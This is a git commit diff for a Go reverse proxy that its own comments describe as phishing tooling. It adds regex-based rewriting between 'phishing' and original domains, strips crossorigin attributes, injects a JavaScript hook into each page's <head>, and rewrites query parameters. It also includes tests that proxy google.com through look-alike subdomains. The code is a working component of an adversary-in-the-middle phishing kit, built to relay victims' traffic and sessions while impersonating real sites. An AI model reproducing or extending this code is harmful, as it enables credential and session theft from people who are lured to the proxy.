feature: modify request query (#19)

v-byte-cpu · web-flow · commit 57be90229ac6 · 2021-08-20T11:50:59.000+03:00
diff --git a/api.go b/api.go
@@ -83,8 +83,7 @@ func (m *apiMiddleware) CreateCookie(c *fiber.Ctx) error {
 }
 
 func (m *apiMiddleware) getOrigin(c *fiber.Ctx) (destURL *url.URL, err error) {
-	// TODO refactor for map
-	origin := m.DomainConverter.ToTargetDomain(c.Get("Origin"))
+	origin := m.DomainConverter.ToTargetURL(c.Get("Origin"))
 	destURL, err = url.Parse(origin)
 	return
 }
diff --git a/main.go b/main.go
@@ -31,8 +31,15 @@ func main() {
 	// TODO static map www.example.com -> mail.com (from config file)
 	conv := NewDomainConverter("host.juicyrout:" + port)
 	conv.AddStaticMapping("www.w3.org", "www.w3.org")
-	req := NewRequestProcessor(conv)
-	resp := NewResponseProcessor(conv, changeURLScript+fetchHookScript)
+	requestURLProc := newURLRegexProcessor(func(domain string) string {
+		return conv.ToTargetDomain(domain)
+	})
+	responseURLProc := newURLRegexProcessor(func(domain string) string {
+		return conv.ToProxyDomain(domain)
+	})
+	htmlProc := newHTMLRegexProcessor(conv, changeURLScript+fetchHookScript)
+	req := NewRequestProcessor(conv, requestURLProc)
+	resp := NewResponseProcessor(conv, responseURLProc, htmlProc)
 
 	cookieManager := NewCookieManager()
 	storage := NewSessionStorage(memory.New(), cookieManager)
diff --git a/regex.go b/regex.go
@@ -0,0 +1,161 @@
+package main
+
+import (
+	"bytes"
+	"io"
+	"log"
+	"regexp"
+	"sync"
+
+	"github.com/gofiber/fiber/v2/utils"
+)
+
+// TODO ReplaceRegexReader
+
+// TODO test Large characters
+const URLRegexp = `(\/\/([A-Za-z0-9]+(-[a-z0-9]+)*\.)+(arpa|root|aero|biz|cat|com|coop|edu|gov|info|int|jobs|mil|mobi|museum|name|net|org|pro|tel|travel|ac|ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|ax|az|ba|bb|bd|be|bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|cr|cu|cv|cx|cy|cz|dev|de|dj|dk|dm|do|dz|ec|ee|eg|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gg|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|in|io|iq|ir|is|it|je|jm|jo|jp|ke|kg|kh|ki|km|kn|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|mg|mh|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nu|nz|om|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|tl|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw))`
+const PartialURLRegexp = `(\/(\/([A-Za-z0-9]+(-[A-Za-z0-9])*)?)?$)`
+
+var (
+	urlRegexp        = regexp.MustCompile(URLRegexp)
+	partialURLRegexp = regexp.MustCompile(PartialURLRegexp)
+	buffPool         = newBufferPool()
+)
+
+type BufferPool struct {
+	pool sync.Pool
+}
+
+func newBufferPool() *BufferPool {
+	return &BufferPool{
+		pool: sync.Pool{
+			New: func() interface{} {
+				return new(bytes.Buffer)
+			},
+		},
+	}
+}
+
+func (p *BufferPool) Get() *bytes.Buffer {
+	return p.pool.Get().(*bytes.Buffer)
+}
+
+func (p *BufferPool) Put(buff *bytes.Buffer) {
+	buff.Reset()
+	p.pool.Put(buff)
+}
+
+type RegexProcessor interface {
+	// Process reads next n bytes from r into the buff, processes it and writes into w.
+	// Returns io.EOF when no more input is available. It discards bytes from the buffer
+	// that were written to w.
+	Process(w io.Writer, r io.Reader, n int, buff *bytes.Buffer) error
+	// ProcessAll reads all bytes from r, processes it and writes into w.
+	// A successful ProcessAll returns err == nil, not err == io.EOF.
+	// Because ProcessAll is defined to read from src until EOF,
+	// it does not treat an EOF from Read as an error to be reported.
+	ProcessAll(w io.Writer, r io.Reader) error
+}
+
+func newURLRegexProcessor(convertDomain convertDomainFunc) RegexProcessor {
+	return &regexProcessor{
+		re:                  urlRegexp,
+		partialSuffixRegexp: partialURLRegexp,
+		convertDomain:       convertDomain,
+	}
+}
+
+// TODO remove integrity attribute
+func newHTMLRegexProcessor(conv DomainConverter, jsHookScript string) RegexProcessor {
+	htmlRegexp := regexp.MustCompile(URLRegexp + `|(crossorigin="anonymous")|(rel="manifest")|(<head>)`)
+	return &regexProcessor{
+		re:                  htmlRegexp,
+		partialSuffixRegexp: partialURLRegexp,
+		convertDomain: func(domain string) string {
+			return conv.ToProxyDomain(domain)
+		},
+		replaceMap: map[string]string{
+			`crossorigin="anonymous"`: "",
+			`rel="manifest"`:          `rel="manifest" crossorigin="use-credentials"`,
+			`<head>`:                  `<head><script>` + jsHookScript + `</script>`,
+		},
+	}
+}
+
+type convertDomainFunc func(domain string) string
+
+type regexProcessor struct {
+	re                  *regexp.Regexp
+	partialSuffixRegexp *regexp.Regexp
+	replaceMap          map[string]string
+	convertDomain       convertDomainFunc
+}
+
+//nolint:errcheck
+func (p *regexProcessor) Process(w io.Writer, r io.Reader, count int, buff *bytes.Buffer) error {
+	n, err := buff.ReadFrom(io.LimitReader(r, int64(count)))
+	if n == 0 {
+		err = io.EOF
+	}
+	bytearr := buff.Bytes()
+	foundIndex := p.re.FindAllIndex(bytearr, -1)
+	start := 0
+	for _, pair := range foundIndex {
+		w.Write(bytearr[start:pair[0]])
+		// handle case: //bbc.ae -> ro
+		if pair[1] == count {
+			start = pair[0]
+			break
+		}
+
+		found := string(bytearr[pair[0]:pair[1]])
+		if replaced, ok := p.replaceMap[found]; ok {
+			w.Write(utils.UnsafeBytes(replaced))
+		} else {
+			w.Write([]byte("//"))
+			w.Write([]byte(p.convertDomain(found[2:])))
+		}
+		start = pair[1]
+	}
+	// advance the buffer by the number of processed bytes
+	if start > 0 {
+		p.advanceBuffer(buff, start)
+	} else {
+		pair := p.partialSuffixRegexp.FindIndex(bytearr)
+		if pair != nil {
+			w.Write(buff.Bytes()[:pair[0]])
+			p.advanceBuffer(buff, pair[0])
+		} else {
+			w.Write(buff.Bytes())
+			buff.Reset()
+		}
+	}
+	return err
+}
+
+// advanceBuffer advances the buff buffer by the num bytes
+func (*regexProcessor) advanceBuffer(buff *bytes.Buffer, num int) {
+	buff.Next(num)
+	// move buffer from num offset to 0
+	bytearr := buff.Bytes()
+	buff.Reset()
+	buff.Write(bytearr)
+}
+
+//nolint:errcheck
+func (p *regexProcessor) ProcessAll(w io.Writer, r io.Reader) (err error) {
+	buff := buffPool.Get()
+	defer buffPool.Put(buff)
+	const bufSize = 4096
+	for {
+		if err = p.Process(w, r, bufSize, buff); err != nil {
+			w.Write(buff.Bytes())
+			if err != io.EOF {
+				log.Println("io error", err)
+			} else {
+				err = nil
+			}
+			return
+		}
+	}
+}
diff --git a/regex_test.go b/regex_test.go
@@ -0,0 +1,35 @@
+package main
+
+import (
+	"bytes"
+	"io"
+	"strings"
+	"testing"
+
+	"github.com/gofiber/fiber/v2/utils"
+	"github.com/stretchr/testify/require"
+)
+
+func TestURLRegexProcessorProcessAll(t *testing.T) {
+	var buff bytes.Buffer
+	conv := NewDomainConverter("example.com")
+	urlProc := newURLRegexProcessor(func(domain string) string {
+		return conv.ToTargetDomain(domain)
+	})
+	err := urlProc.ProcessAll(&buff, strings.NewReader("q=https://google-com.example.com"))
+	require.NoError(t, err)
+	require.Equal(t, "q=https://google.com", utils.UnsafeString(buff.Bytes()))
+}
+
+//nolint:errcheck
+func BenchmarkURLRegexProcessorProcessAll(b *testing.B) {
+	conv := NewDomainConverter("example.com")
+	proc := newURLRegexProcessor(func(domain string) string {
+		return conv.ToProxyDomain(domain)
+	})
+	r := strings.NewReader(`<link rel="dns-prefetch" href="https://github.githubassets.com">`)
+	for i := 0; i < b.N; i++ {
+		proc.ProcessAll(io.Discard, r)
+		r.Seek(0, io.SeekStart)
+	}
+}
diff --git a/request.go b/request.go
@@ -5,6 +5,7 @@ import (
 	"io/ioutil"
 	"net/http"
 	"net/url"
+	"strings"
 
 	"github.com/gofiber/fiber/v2"
 	"github.com/gofiber/fiber/v2/utils"
@@ -14,29 +15,30 @@ type RequestProcessor interface {
 	Process(c *fiber.Ctx) *http.Request
 }
 
-func NewRequestProcessor(conv DomainConverter) RequestProcessor {
-	return &requestProcessor{conv}
+func NewRequestProcessor(conv DomainConverter, urlProc RegexProcessor) RequestProcessor {
+	return &requestProcessor{conv, urlProc}
 }
 
 type requestProcessor struct {
-	conv DomainConverter
+	conv    DomainConverter
+	urlProc RegexProcessor
 }
 
-// TODO patch query params (phishing URLs to original domains)
-// TODO patch phishing URLs in body with original domains
+// TODO strip xhr cookies
 func (p *requestProcessor) Process(c *fiber.Ctx) *http.Request {
 	r := c.Request()
 	destURL := &url.URL{
 		Scheme:   "https",
 		Host:     p.conv.ToTargetDomain(utils.UnsafeString(r.URI().Host())),
 		Path:     utils.UnsafeString(r.URI().Path()),
-		RawQuery: utils.UnsafeString(r.URI().QueryString()),
+		RawQuery: p.modifyQuery(utils.UnsafeString(r.URI().QueryString())),
 	}
 	var body io.ReadCloser
 	stream := c.Context().RequestBodyStream()
 	if stream != nil {
 		body = ioutil.NopCloser(stream)
 	}
+	// TODO patch phishing URLs in body with original domains
 	req := &http.Request{
 		Method: utils.UnsafeString(r.Header.Method()),
 		Body:   body,
@@ -72,3 +74,13 @@ func (p *requestProcessor) Process(c *fiber.Ctx) *http.Request {
 	req.Header.Del("Accept-Encoding")
 	return req
 }
+
+func (p *requestProcessor) modifyQuery(query string) string {
+	buff := buffPool.Get()
+	defer buffPool.Put(buff)
+	decoded := strings.ReplaceAll(strings.ToLower(query), "%2f", "/")
+	if err := p.urlProc.ProcessAll(buff, strings.NewReader(decoded)); err != nil {
+		return query
+	}
+	return strings.ReplaceAll(utils.UnsafeString(buff.Bytes()), "/", "%2f")
+}
diff --git a/request_test.go b/request_test.go
@@ -32,7 +32,7 @@ func TestRequestProcessor(t *testing.T) {
 	require.NoError(t, err)
 	cookieJar.SetCookies(reqURL, []*http.Cookie{{Name: "google_sid", Value: "123"}})
 
-	p := NewRequestProcessor(NewDomainConverter("example.com"))
+	p := newRequestProcessor("example.com")
 	result := p.Process(c)
 	require.Equal(t, "www.google.com", result.URL.Host)
 	require.Equal(t, "/abc", result.URL.Path)
@@ -62,7 +62,7 @@ func TestRequestProcessorOptionsMethod(t *testing.T) {
 	c.Request().Header.Add("Referer", "https://www-google-com.example.com/def")
 	c.Request().Header.Add("Origin", "https://www-google-com.example.com")
 
-	p := NewRequestProcessor(NewDomainConverter("example.com"))
+	p := newRequestProcessor("example.com")
 	result := p.Process(c)
 	require.Equal(t, "www.google.com", result.URL.Host)
 	require.Equal(t, "/abc", result.URL.Path)
@@ -73,3 +73,28 @@ func TestRequestProcessorOptionsMethod(t *testing.T) {
 	require.Empty(t, result.Cookies())
 	require.Nil(t, result.Body)
 }
+
+func TestRequestProcessorModifyQuery(t *testing.T) {
+	app := fiber.New()
+	c := app.AcquireCtx(&fasthttp.RequestCtx{})
+	defer app.ReleaseCtx(c)
+
+	cookieJar, err := cookiejar.New(nil)
+	require.NoError(t, err)
+	c.Locals("cookieJar", cookieJar)
+
+	c.Request().Header.SetMethod(fasthttp.MethodGet)
+	c.Request().SetRequestURI("https://www-google-com.example.com/abc?q=https%3A%2F%2Fgoogle-com.example.com")
+	p := newRequestProcessor("example.com")
+	result := p.Process(c)
+
+	require.Equal(t, "q=https%3a%2f%2fgoogle.com", result.URL.RawQuery)
+}
+
+func newRequestProcessor(domain string) *requestProcessor {
+	conv := NewDomainConverter(domain)
+	urlProc := newURLRegexProcessor(func(domain string) string {
+		return conv.ToTargetDomain(domain)
+	})
+	return NewRequestProcessor(conv, urlProc).(*requestProcessor)
+}
diff --git a/response.go b/response.go
diff --git a/response_test.go b/response_test.go

Original file line number	Diff line number	Diff line change
`@@ -83,8 +83,7 @@ func (m apiMiddleware) CreateCookie(c fiber.Ctx) error {`
`83`	`83`	`}`
`84`	`84`
`85`	`85`	`func (m apiMiddleware) getOrigin(c fiber.Ctx) (destURL *url.URL, err error) {`
`86`		`- // TODO refactor for map`
`87`		`- origin := m.DomainConverter.ToTargetDomain(c.Get("Origin"))`
	`86`	`+ origin := m.DomainConverter.ToTargetURL(c.Get("Origin"))`
`88`	`87`	`destURL, err = url.Parse(origin)`
`89`	`88`	`return`
`90`	`89`	`}`